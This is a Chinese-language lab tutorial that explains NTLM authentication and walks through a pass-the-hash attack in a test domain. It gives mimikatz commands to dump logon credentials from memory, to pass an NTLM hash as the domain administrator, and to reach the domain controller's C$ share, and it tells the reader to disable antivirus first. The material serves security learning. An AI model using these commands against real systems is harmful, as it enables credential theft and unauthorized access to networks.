概念
早期SMB协议明文在网络上传输数据,后来诞生了LM验证机制,LM机制由于过于简单,微软提出了WindowsNT挑战/响应机制,这就是NTLM。
哈希传递前提
同密码(攻击主机与实现主机两台要密码一致)。
NTLM协议
加密ntlm哈希
转换成16进制
------转换成加密
------转换成MD4
NTLM协议:用于远程登录。例如 22
原理
- client(win10)将
账户名(test)
传给server。 - 在server中判断本地账户名(test)是否存在,没有就失败,有的话生成challenge(随机生成的),查找user对应的NTLM哈希(在sam里找),使用哈希加密challenge,生成一个net-ntlm hash存在内存中,将challenge发送给client(win10)。
- client(win10)接受到challenge以后,将自己的密码转换成NTLM哈希,用生成的哈希加密challenge生成response,将response发送给server。
- server对比自己内存中的
net-ntlm hash
与client(win10)发来的response
是否一致。
哈希传递攻击
哈希传递攻击的前提
- 首先是管理员,必须提前从不同用户变成管理员
- 需要用户名和ntml哈希值
- 如果对方主机在域内,就使用域名;如果不在域内,就使用工作组环境的攻击方式
什么情况下会用哈希传递攻击
- 攻陷一台主机以后,抓不到该主机用户的明文密码
- 失陷主机和局域网内存在相同密码
哈希传递攻击
工具:mimikatz
环境:域控(server 2008)、客户机(win 7)
网段:在同一网段,都为NAT模式
域控(server)
- 静态IP:10.1.1.1
在server中查看445是否开放
- 查看域控C盘
- 共享C盘(在cmd中输入命令
net share
)
客户端开始攻击(win7)
-
IP:10.1.1.2
-
关闭杀毒软件
用mimikatz64位工具,必须是system权限
在打开cmd命令解释器必须以管理员身份运行(因为要用到mimikatz工具)
进入mimikatz.exe
攻击利用
- 提升权限(注:需以管理员权限运行)
bash
privilege::debug
- 获取内存中保存的登录信息
bash
sekurlsa::logonpasswords
- 并抓到自己用户的哈希值(NTLM)
- 进行哈希攻击
php
sekurlsa::pth /user:administrator /domain:xiusafe.com /ntlm:32ed87bdb5fdc5e9cba88547376818d4 #pth是哈希传递,domain后面跟的是域
- 同时弹出一个新的cmd窗口
此时哈希值已经准备好,但还未攻击
开始攻击
- 查看域控(server)C盘
php
dir \\10.1.1.1\c$
- 与域控C盘进行对比
- 攻击成功
总结
哈希传递攻击是由于局域网内有多台主机存在相同密码造成的,绕过ntlm认证。